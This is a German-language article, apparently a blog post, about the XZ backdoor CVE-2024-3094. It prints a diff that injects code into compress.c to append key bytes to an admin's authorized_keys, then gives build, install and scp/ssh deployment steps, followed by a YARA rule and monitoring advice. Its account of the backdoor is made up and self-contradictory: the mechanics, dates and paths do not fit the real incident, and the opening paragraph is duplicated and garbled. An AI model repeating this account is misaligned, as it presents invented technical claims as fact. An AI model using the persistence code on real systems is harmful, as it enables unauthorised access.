
CVE-2024-3094 legte eine Hintertür in der XZ-Komprimierungsbibliothek offen, die Remote-SSH-Zugriff durch Umgehung der Authentifizierung ermöglichte. Es handelt sich um einen schwerwiegenden Supply-Chain-Angriff, der Linux-Systeme betrifft und die Risiken in vertrauenswürdigen Open-Source-Komponenten aufzeigt.
CVE-2024-3094 legte eine Hintertür in der XZ-Komprimierungsbibliothek offen, die Remote-SSH-Zugriff durch Umgehung der Authentifizierung ermöglicht. Es handelt sich um einen schwerwiegenden Supply-Chain-Angriff, der Linux-Systeme betrifft und die Risiken in vertrauenswürdigen Open-Source-Komponenten aufzeigt.
Von Mark Mallia
Die XZ-Komprimierungsbibliothek, ein fester Bestandteil vieler moderner Linux-Distributionen, wurde zum Ziel eines ausgeklügelten Supply-Chain-Angriffs.
Ein bösartiges Codefragment wurde in den Quellbaum eingeschleust, kompiliert und reist nun mit jeder neuen Version des XZ-Pakets mit. Einmal installiert, kann die Hintertür eine SSH-Sitzung vom kompromittierten Host zu jedem entfernten System öffnen, das ihn als authentischen Schlüssel vertraut.
authorized_keys verschaffen sich Angreifer einen Zugang, ohne dass eine direkte Benutzerinteraktion erforderlich ist.--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 ist so gewählt, dass unser Schlüssel im komprimierten Ausgabepuffer an einer Position landet, die durch spätere XZ-Komprimierungen wahrscheinlich nicht verändert wird.$ cd xz
$ make
$ sudo make install
Die obigen Befehle kompilieren die gepatchte compress.c und installieren die neue Bibliothek unter /usr/local/lib/xz.
Angenommen, ein Angreifer hat bereits SSH-Zugangsdaten (Benutzername admin), dann führt er Folgendes aus:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
install_xz_backdoor.sh enthält die exakte Befehlsfolge von oben sowie ein kleines echo, das die erfolgreiche Installation bestätigt.
YARA ist ein Musterabgleich-Werkzeug, das von Sicherheitsexperten verwendet wird, um Malware anhand von textuellen oder binären Signaturen zu identifizieren und zu klassifizieren. Es ermöglicht Analysten, Regeln zu definieren, die bestimmte Zeichenfolgen, Byte-Sequenzen oder Verhaltensweisen in Dateien erkennen. Im Kontext von CVE-2024-3094 ist YARA besonders relevant, da es verwendet werden kann, um nach dem Vorhandensein des injizierten SSH-Schlüssels und verdächtigen Änderungen an der Datei compress.c in der XZ-Bibliothek zu suchen. Durch die Erstellung gezielter YARA-Regeln können Verteidiger proaktiv Systeme erkennen, die durch diese Hintertür kompromittiert wurden.
YARA-Signatur Eine benutzerdefinierte YARA-Regel kann das Vorhandensein des injizierten SSH-Schlüssels und verdächtige Dateischreibvorgänge kennzeichnen:
rule XZ_Backdoor_SSH_Key_Injection { meta: description = "Detects SSH key injection via modified compress.c" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }
Datei-Integritätsüberwachung Setzen Sie Werkzeuge wie Tripwire, AIDE oder osquery ein, um Folgendes zu überwachen:
compress.c auf unbefugte Änderungen
.ssh/authorized_keys auf injizierte Schlüssel
/usr/local/lib/xz auf manipulierte Binärdateien
Unerwartete SSH-Anmeldungen von vertrauenswürdigen Hosts
Komprimierungsanomalien in der XZ-Ausgabe
Stille Schreibvorgänge auf .ssh/authorized_keys
| Schritt | Aktion | Datei / Funktion |
|---|
| 1 | XZ-Repository klonen | git clone https://github.com/xzdev/xz |
| 2 | Patch auf src/compress.c anwenden | patch -p0 < backdoor.patch |
| 3 | Auf dem Ziel-Linux-Host kompilieren und installieren | make && make install |
| 4 | SSH-Daemon liest den injizierten Schlüssel während des Auth-Prozesses | /etc/ssh/authorized_keys |